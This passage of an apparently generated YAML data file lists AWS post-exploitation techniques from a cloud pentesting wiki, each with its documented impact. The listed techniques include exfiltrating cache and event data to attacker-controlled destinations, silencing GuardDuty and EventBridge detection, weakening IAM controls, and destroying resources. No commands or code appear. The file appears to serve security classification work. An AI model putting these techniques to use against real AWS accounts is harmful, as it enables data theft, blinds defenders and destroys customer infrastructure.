src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeleteaccesspoint + technique: '`elasticfilesystem:DeleteAccessPoint`' + reason: 'Documented impact: Prevents future mounts and reconnections through the access point. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletemounttarget + technique: '`elasticfilesystem:DeleteMountTarget`' + reason: 'Documented impact: Availability loss for applications using that target and possible loss of uncommitted + writes. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletefilesystem + technique: '`elasticfilesystem:DeleteFileSystem`' + reason: 'Documented impact: Destructive loss of the live file system and outage of dependent applications. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemupdatefilesystem + technique: '`elasticfilesystem:UpdateFileSystem`' + reason: 'Documented impact: Workload throttling or higher EFS charges. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eks-authassumeroleforpodidentity-with-a-stolen-pod-bound-token + technique: '`eks-auth:AssumeRoleForPodIdentity` with a stolen Pod-bound token' + reason: The caller must already possess a valid Pod-bound token. The permission alone cannot mint that token; + the resulting role is the one already assigned to that pod, so this is credential theft from a compromised workload. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkswapenvironmentcnames + technique: '`elasticbeanstalk:SwapEnvironmentCNAMEs`' + reason: 'Documented impact: Traffic can be redirected to an unintended environment or version, causing incorrect + application behavior or availability issues. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkaddtags-elasticbeanstalkremovetags + technique: '`elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`' + reason: 'Documented impact: Tag-based automation, inventory, cost allocation, or access controls can receive incorrect + data after tags are added, changed, or removed. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplicationversion + technique: '`elasticbeanstalk:DeleteApplicationVersion`' + reason: 'Documented impact: Loss of a rollback or deployment artifact from Elastic Beanstalk and disruption of + deployment workflows; the source bundle remains in Amazon S3 by default. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkterminateenvironment + technique: '`elasticbeanstalk:TerminateEnvironment`' + reason: 'Documented impact: Application downtime and possible data loss when environment-managed data resources + are not configured to be retained or snapshotted before termination. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplication + technique: '`elasticbeanstalk:DeleteApplication`' + reason: 'Documented impact: Termination of associated environments and loss of tracked versions and saved configurations, + leading to service disruption; source bundles may still remain in Amazon S3. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-secret-disclosure-post-exploitation/README.md#describeconfigurationsettings--environment-secret-disclosure + technique: '`DescribeConfigurationSettings` — environment-secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeConfigurationSettings` — environment-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-cache-snapshot-to-s3-with-elasticachecopysnapshot + technique: Export a cache snapshot to S3 with `elasticache:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a cache''s contents (every key/value — sessions, tokens, credentials, + PII) to attacker-controlled S3, with no route to the cache endpoint and no RBAC/AUTH credential required. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-serverless-cache-snapshot-to-s3-with-elasticacheexportserverlesscachesnapshot + technique: Export a serverless cache snapshot to S3 with `elasticache:ExportServerlessCacheSnapshot` + reason: 'Documented impact: Exfiltration of a serverless cache''s dataset into an attacker-readable S3 bucket, + with no cache network path or RBAC credential. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifylistener--redirect-existing-alb-traffic + technique: '`elasticloadbalancing:ModifyListener` — Redirect existing ALB traffic' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyListener` — Redirect + existing ALB traffic, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifyrule--redirect-matching-alb-traffic-to-an-existing-target + technique: '`elasticloadbalancing:ModifyRule` — Redirect matching ALB traffic to an existing target' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyRule` — Redirect matching + ALB traffic to an existing target, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferencegetmetadata--recover-transcripts-and-inference-results + technique: '`elemental-inference:GetMetadata` — recover transcripts and inference results' + reason: This heading concerns reading or exporting data via `elemental-inference:GetMetadata` — recover transcripts + and inference results; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceexportdictionaryentries--steal-the-custom-vocabulary + technique: '`elemental-inference:ExportDictionaryEntries` — steal the custom vocabulary' + reason: This heading concerns reading or exporting data via `elemental-inference:ExportDictionaryEntries` — steal + the custom vocabulary; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatedictionary--poison-vocabulary-without-read-access + technique: '`elemental-inference:UpdateDictionary` — poison vocabulary without read access' + reason: The section documents the resource or service effect of `elemental-inference:UpdateDictionary` — poison + vocabulary without read access, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceputmedia--inject-attacker-controlled-source-segments + technique: '`elemental-inference:PutMedia` — inject attacker-controlled source segments' + reason: The section documents the resource or service effect of `elemental-inference:PutMedia` — inject attacker-controlled + source segments, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatefeed--blindly-replace-output-configuration + technique: '`elemental-inference:UpdateFeed` — blindly replace output configuration' + reason: The section documents the resource or service effect of `elemental-inference:UpdateFeed` — blindly replace + output configuration, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-post-exploitation/README.md#weaken-emr-block-public-access-with-putblockpublicaccessconfiguration + technique: Weaken EMR Block Public Access with `PutBlockPublicAccessConfiguration` + reason: 'Documented impact: Removal or broad weakening of one regional preventive control, allowing an otherwise-authorized + cluster launch or security-group change to create publicly reachable EMR nodes. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetapplication--runtime-property-disclosure + technique: '`emr-serverless:GetApplication` — runtime-property disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetApplication` — runtime-property + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetjobrun--job-argument-disclosure + technique: '`emr-serverless:GetJobRun` — job-argument disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetJobRun` — job-argument disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messaginggetwhatsappmessagemedia---copy-inbound-media-to-an-attacker-destination + technique: '`social-messaging:GetWhatsAppMessageMedia` - Copy inbound media to an attacker destination' + reason: This heading concerns reading or exporting data via `social-messaging:GetWhatsAppMessageMedia` - Copy + inbound media to an attacker destination; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messagingsendwhatsappmessage---send-trusted-brand-whatsapp-messages + technique: '`social-messaging:SendWhatsAppMessage` - Send trusted-brand WhatsApp messages' + reason: The section documents the resource or service effect of `social-messaging:SendWhatsAppMessage` - Send + trusted-brand WhatsApp messages, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md#use-getmatchid-as-a-record-membership-oracle + technique: Use GetMatchId as a record-membership oracle + reason: This heading concerns reading or exporting data via Use GetMatchId as a record-membership oracle; it does + not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-pipe-configuration-post-exploitation/README.md#pipesdescribepipe--input-template-disclosure + technique: '`pipes:DescribePipe` — input-template disclosure' + reason: This heading concerns reading or exporting data via `pipes:DescribePipe` — input-template disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreatesubscriber--replay-retained-enhanced-bus-events-to-a-new-target + technique: '`events:CreateSubscriber` — replay retained enhanced-bus events to a new target' + reason: 'Documented impact: Retrospective and continuing disclosure of every matched event still inside the bus + retention window—potentially up to one year—including application records, security findings, identifiers, URLs, + or credentials that producers... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputtargets--silently-copy-an-event-stream-to-an-attacker-sink + technique: '`events:PutTargets` — silently copy an event stream to an attacker sink' + reason: 'Documented impact: Continuous exfiltration of an event stream (security findings, application events, + audit signals) to attacker-controlled infrastructure, without altering or interrupting the legitimate delivery, + so nothing appears broken. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreateconnection--eventscreateapidestination--exfiltrate-an-event-stream-straight-out-of-aws + technique: '`events:CreateConnection` + `events:CreateApiDestination` — exfiltrate an event stream straight out + of AWS' + reason: 'Documented impact: Continuous exfiltration of a matched event stream to attacker-controlled infrastructure + outside AWS, with the legitimate target still receiving everything. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsremovetargets--detach-the-real-target-and-keep-the-rule-looking-enabled + technique: '`events:RemoveTargets` — detach the real target and keep the rule looking enabled' + reason: 'Documented impact: Detection or automation silently stops while the rule still reports ENABLED; combined + with PutTargets it converts a monitored pipeline into an attacker-only feed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--clear-filters-and-disable-delivery-logs + technique: '`events:UpdateSubscriber` — clear filters and disable delivery logs' + reason: 'Documented impact: Route every future event on the bus—including security findings, secrets or customer + records that the original filter intentionally excluded—to an existing attacker-readable or attacker-useful + target, increase its workload,... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsdisablerule--switch-off-a-detection-pipeline + technique: '`events:DisableRule` — switch off a detection pipeline' + reason: 'Documented impact: Silences everything downstream of the rule (alert notifications, automated remediation, + scheduled backup/patching jobs) while leaving the rule and its targets in place, so a later EnableRule restores + it with no other trace. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputrule--blind-overwrite-a-rules-event-pattern-so-it-never-matches + technique: '`events:PutRule` — blind-overwrite a rule''s event pattern so it never matches' + reason: 'Documented impact: Permanently blinds a detection or automation rule while it continues to report as + enabled with its targets intact — considerably stealthier than disabling or deleting it. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--pause-and-discard-a-subscribers-retained-backlog + technique: '`events:UpdateSubscriber` — pause and discard a subscriber''s retained backlog' + reason: 'Documented impact: Suppress an arbitrary window of security findings, automation events, orders, audit + records, or workflow triggers for one consumer without deleting the subscriber or changing its visible destination, + then restore apparently... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateeventbus--truncate-enhanced-bus-retained-history + technique: '`events:UpdateEventBus` — truncate enhanced-bus retained history' + reason: 'Documented impact: Irreversibly remove up to 364 days of replayable application events, security findings, + audit records or workflow inputs, breaking recovery/catch-up for every current and future subscriber on the + selected bus. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateconnection--eventsdeauthorizeconnection--break-or-rewrite-stored-api-credentials + technique: '`events:UpdateConnection` / `events:DeauthorizeConnection` — break or rewrite stored API credentials' + reason: 'Documented impact: Availability loss for every API Destination using the connection, or substitution + of the outbound credential so third-party integrations authenticate with an attacker-chosen value. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerdeleteschedule--destroy-scheduled-automation + technique: '`scheduler:DeleteSchedule` — destroy scheduled automation' + reason: 'Documented impact: Permanent removal of future invocations, disrupting the backup, patch, export, rotation, + or operational workflow the schedule drove. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerupdateschedule--iampassrole--disable-or-redirect-execution + technique: '`scheduler:UpdateSchedule` + `iam:PassRole` — disable or redirect execution' + reason: 'Documented impact: Disables future automation or causes Scheduler to invoke a supported attacker-chosen + target/action and crafted input with the passed role''s applicable permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputpolicy-fmsdeletepolicy + technique: '`fms:PutPolicy`, `fms:DeletePolicy`' + reason: 'Documented impact: Dismantling of security controls, policy evasion, compliance violations, operational + disruptions, and potential data breaches within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsassociatethirdpartyfirewall-fmsdisassociatethirdpartyfirewall + technique: '`fms:AssociateThirdPartyFirewall`, `fms:DisassociateThirdPartyFirewall`' + reason: 'Documented impact: The disassociation would lead to a policy evasion, compliance violations, and disruption + of security controls within the environment. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmstagresource-fmsuntagresource + technique: '`fms:TagResource`, `fms:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputnotificationchannel-fmsdeletenotificationchannel + technique: '`fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`' + reason: 'Documented impact: This would potentially lead to miss security alerts, delayed incident response, potential + data breaches and operational disruptions within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsbatchassociateresource-fmsbatchdisassociateresource-fmsputresourceset-fmsdeleteresourceset + technique: '`fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`' + reason: 'Documented impact: The addition of an unnecessary amount of items to a resource set will increase the + level of noise in the Service potentially causing a DoS. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputappslist-fmsdeleteappslist + technique: '`fms:PutAppsList`, `fms:DeleteAppsList`' + reason: 'Documented impact: Altered application lists can expose disallowed applications or block legitimate traffic, + causing policy bypass or denial of service. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputprotocolslist-fmsdeleteprotocolslist + technique: '`fms:PutProtocolsList`, `fms:DeleteProtocolsList`' + reason: 'Documented impact: Altered protocol lists can permit prohibited protocols or deny approved ones, weakening + enforcement or disrupting connectivity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorgetevent---read-a-known-stored-event + technique: '`frauddetector:GetEvent` - Read a known stored event' + reason: This heading concerns reading or exporting data via `frauddetector:GetEvent` - Read a known stored event; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorsendevent---blindly-replace-a-stored-event + technique: '`frauddetector:SendEvent` - Blindly replace a stored event' + reason: The section documents the resource or service effect of `frauddetector:SendEvent` - Blindly replace a + stored event, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorupdateeventlabel---blind-label-poisoning + technique: '`frauddetector:UpdateEventLabel` - Blind label poisoning' + reason: The section documents the resource or service effect of `frauddetector:UpdateEventLabel` - Blind label + poisoning, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-free-tier-post-exploitation/README.md#freetierupgradeaccountplan--irreversibly-remove-the-free-plan-no-charge-boundary + technique: '`freetier:UpgradeAccountPlan` — irreversibly remove the Free-plan no-charge boundary' + reason: 'Documented impact: irreversibly convert a protected no-charge Free-plan account to pay-as-you-go, remove + its service restrictions and automatic-spend boundary, and expose the owner to charges from existing automation + or later attacker activity. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fsx-post-exploitation/README.md#fsxcreatefilesystemfrombackup--fsxcreatevolumefrombackup--restore-data-into-attacker-reachable-network + technique: '`fsx:CreateFileSystemFromBackup` / `fsx:CreateVolumeFromBackup` — restore data into attacker-reachable + network' + reason: 'Documented impact: Full read access to the data of any FSx file system by restoring its backup into an + attacker-controlled subnet and mounting it — no access to the original file system required. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#anywhere-server-impersonation-with-gameliftgetcomputeauthtoken + technique: Anywhere server impersonation with `gamelift:GetComputeAuthToken` + reason: This heading concerns reading or exporting data via Anywhere server impersonation with `gamelift:GetComputeAuthToken`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateendpointgroup---redirect-or-suppress-application-traffic + technique: '`globalaccelerator:UpdateEndpointGroup` - Redirect or suppress application traffic' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateEndpointGroup` - Redirect + or suppress application traffic, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateacceleratorattributes---disable-traffic-flow-logs + technique: '`globalaccelerator:UpdateAcceleratorAttributes` - Disable traffic flow logs' + reason: This heading concerns removal, disruption or access denial via `globalaccelerator:UpdateAcceleratorAttributes` + - Disable traffic flow logs; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdatelistener--updateaccelerator---break-or-reshape-the-public-entry-point + technique: '`globalaccelerator:UpdateListener` / `UpdateAccelerator` - Break or reshape the public entry point' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateListener` / `UpdateAccelerator` + - Break or reshape the public entry point, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrassupdateconnectivityinfo--redirect-device-connectivity-mitm + technique: '`greengrass:UpdateConnectivityInfo` — redirect device connectivity (MITM)' + reason: 'Documented impact: Redirect edge/client device connections to an attacker endpoint for interception or + rogue control. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutycreatefilter--auto-archive-findings + technique: '`guardduty:CreateFilter` — auto-archive findings' + reason: 'Documented impact: Silently drops all matching future findings from every downstream consumer (EventBridge, + S3 export, Security Hub, Detective, Extended Threat Detection) while they linger only as archived entries in + the console. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#iamputrolepolicy--guarddutycreateipset--guarddutyupdateipset--trusted-list-poisoning + technique: '`iam:PutRolePolicy` + (`guardduty:CreateIPSet` | `guardduty:UpdateIPSet`) — trusted list poisoning' + reason: 'Documented impact: Suppresses CloudTrail/VPC-Flow-Log (and, for trusted entity lists, DNS) findings for + attacker IPs/CIDRs/domains for as long as the list exists. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatecustomdetectionruleassociation--downgrade-a-custom-detection-rule + technique: '`guardduty:UpdateCustomDetectionRuleAssociation` — downgrade a custom detection rule' + reason: 'Documented impact: Blinds a specific defender-authored custom detection by downgrading its association + from LIVE (generates findings) to DRY_RUN (metrics only, no findings, auto-expires in 14 days) — or by simply + letting a dry-run association lapse. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatedetector--suspend-monitoring--disable-data-sources + technique: '`guardduty:UpdateDetector` — suspend monitoring / disable data sources' + reason: 'Documented impact: Removes whole finding classes account-wide (or, with UpdateMemberDetectors, for chosen + members) — with --no-enable GuardDuty stops analysing entirely while the detector object still exists. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletedetector--disassociatefrommasteraccount--member-tampering + technique: '`guardduty:DeleteDetector` / `DisassociateFromMasterAccount` / member tampering' + reason: 'Documented impact: DeleteDetector destroys the detector and every finding (total but extremely loud); + member disassociation detaches an account from centralized monitoring so its findings stop reaching the security + account (durable only in... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletepublishingdestination--break-the-export-pipeline + technique: '`guardduty:DeletePublishingDestination` — break the export pipeline' + reason: 'Documented impact: Stops findings being copied to the configured S3 archive, potentially blinding consumers + that ingest only that export. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimagesetmetadata--recover-normalized-dicom-and-patient-metadata + technique: '`medical-imaging:GetImageSetMetadata` — recover normalized DICOM and patient metadata' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageSetMetadata` — recover normalized + DICOM and patient metadata; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimageframe--download-medical-image-pixels + technique: '`medical-imaging:GetImageFrame` — download medical image pixels' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageFrame` — download medical + image pixels; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamenablemfadevice--illegitimate-mfa-activation + technique: '`iam:EnableMFADevice` — Illegitimate MFA Activation' + reason: 'Documented impact: Enrols a device the attacker controls onto a victim user. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccountpasswordpolicy--iamdeleteaccountpasswordpolicy--weaken-every-console-password-in-the-account + technique: '`iam:UpdateAccountPasswordPolicy` | `iam:DeleteAccountPasswordPolicy` — weaken every console password + in the account' + reason: 'Documented impact: Account-wide reduction in console credential strength, enabling password guessing + and reuse against every IAM user, and removing expiry and reuse-prevention controls that would otherwise have + evicted stale attacker-set passwords. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamcreateaccountalias--iamdeleteaccountalias--hijack-the-console-sign-in-url + technique: '`iam:CreateAccountAlias` | `iam:DeleteAccountAlias` — hijack the console sign-in URL' + reason: 'Documented impact: Loss of the organization''s console sign-in URL, and the opportunity to capture employee + credentials through an AWS-hosted login page at the address they are used to. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamgetrequestauthorizationdetails--read-another-principals-denial-snapshot + technique: '`iam:GetRequestAuthorizationDetails` — Read another principal''s denial snapshot' + reason: 'Documented impact: Maps policy guardrails and organization structure that the compromised identity may + be unable to enumerate normally. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamdelete + technique: '`iam:Delete*`' + reason: 'Documented impact: Account-wide destruction of the IAM control plane — identities, policies, credentials, + federation and MFA — in a single permission. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfindingsreport-inspector2createsbomexport + technique: '`inspector2:CreateFindingsReport`, `inspector2:CreateSbomExport`' + reason: 'Documented impact: Generation and exfiltration of detailed vulnerability and software reports, gaining + insights into specific vulnerabilities and security weaknesses. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2cancelfindingsreport-inspector2cancelsbomexport + technique: '`inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`' + reason: 'Documented impact: Disruption of security monitoring and prevention of timely detection and remediation + of security issues. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfilter-inspector2updatefilter-inspector2deletefilter + technique: '`inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`' + reason: 'Documented impact: Concealment or suppression of critical vulnerabilities, or flooding the system with + irrelevant findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2associatemember-inspector2disassociatemember + technique: 